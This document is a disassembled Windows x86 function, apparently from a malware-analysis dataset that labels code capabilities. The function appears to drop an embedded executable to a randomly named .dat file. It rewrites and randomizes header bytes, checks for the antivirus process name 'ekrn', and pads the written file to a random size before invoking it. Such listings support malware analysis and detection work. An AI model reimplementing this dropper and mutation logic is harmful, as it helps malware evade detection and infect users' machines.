Function at 0x4027b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x344
push esi
push edi
mov eax, dword [ebp + 8]
push eax
call fcn.004018b0
add esp, 4
and eax, 0xff
test eax, eax
je 0x4027da
mov eax, 1
jmp 0x402a8d
mov ecx, dword [0x406070]
add ecx, 0x600
mov dword [ebp - 0x33c], ecx
mov byte [ebp - 0x334], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x214], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x213]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edx, dword [ebp - 0x33c]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x5a4d
je 0x402844
call fcn.00403b80
mov edx, dword [ebp - 4]
mov word [edx], 0x5a4d
mov dword [ebp - 0x218], 0
jmp 0x40285f
mov eax, dword [ebp - 0x218]
add eax, 1
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0xa
jge 0x402887
push 0xffff
push 0
call fcn.00401740
add esp, 8
mov ecx, dword [ebp - 0x218]
mov edx, dword [ebp - 4]
mov word [edx + ecx*2 + 0x28], ax
jmp 0x402850
lea eax, [ebp - 0x10c]
push eax
push 0x104
call fcn.004018d0
add esp, 8
mov byte [ebp - 0x334], 0x5c
push 0xa
lea ecx, [ebp - 0x333]
push ecx
call fcn.00401ed0
add esp, 8
push str..dat
lea edx, [ebp - 0x334]
push edx
call fcn.00402510
add esp, 8
lea eax, [ebp - 0x334]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call fcn.00402510
add esp, 8
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.kernel32.dll_CreateFileA]
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0
jne 0x402912
xor eax, eax
jmp 0x402a8d
mov eax, dword [str.ekrn]
mov dword [ebp - 0x224], eax
mov ecx, dword [0x42ea18]
mov dword [ebp - 0x220], ecx
mov dx, word [0x42ea1c]
mov word [ebp - 0x21c], dx
lea eax, [ebp - 0x224]
push eax
call fcn.00401f10
add esp, 4
movsx ecx, byte [ebp - 0x220]
neg ecx
sbb ecx, ecx
neg ecx
mov byte [ebp - 8], cl
push 0x19
push 0x13
call fcn.00401740
add esp, 8
mov esi, eax
shl esi, 0x14
push 0x61a8
push 0
call fcn.00401740
add esp, 8
lea edx, [esi + eax + 0x46]
mov dword [ebp - 0x230], edx
mov eax, dword [0x406070]
mov ecx, dword [eax + 0x5fc]
mov dword [ebp - 0x340], ecx
mov edx, dword [ebp - 8]
and edx, 0xff
test edx, edx
jne 0x4029f9
push 0
push 0
mov eax, dword [ebp - 0x230]
push eax
mov ecx, dword [ebp - 0x338]
push ecx
call dword [sym.imp.kernel32.dll_SetFilePointer]
mov edx, dword [ebp - 0x340]
shr edx, 1
push edx
push 0x46
call fcn.00401740
add esp, 8
mov dword [ebp - 0x22c], eax
push 0
lea eax, [ebp - 0x22c]
push eax
mov ecx, dword [ebp - 0x22c]
push ecx
mov edx, dword [ebp - 0x33c]
add edx, dword [ebp - 0x22c]
push edx
mov eax, dword [ebp - 0x338]
push eax
call dword [sym.imp.kernel32.dll_WriteFile]
push 0
push 0
push 0
mov ecx, dword [ebp - 0x338]
push ecx
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 0
lea edx, [ebp - 0x228]
push edx
mov eax, dword [ebp - 0x340]
push eax
mov ecx, dword [ebp - 0x33c]
push ecx
mov edx, dword [ebp - 0x338]
push edx
call dword [sym.imp.kernel32.dll_WriteFile]
mov eax, dword [ebp - 0x338]
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
test edx, edx
je 0x402a6f
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call dword [0x42ed04]
mov dword [ebp - 0x344], eax
lea edx, [ebp - 0x10c]
push edx
call fcn.004024c0
add esp, 4
jmp 0x402a88
lea eax, [ebp - 0x10c]
push eax
push 0x42ea10
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret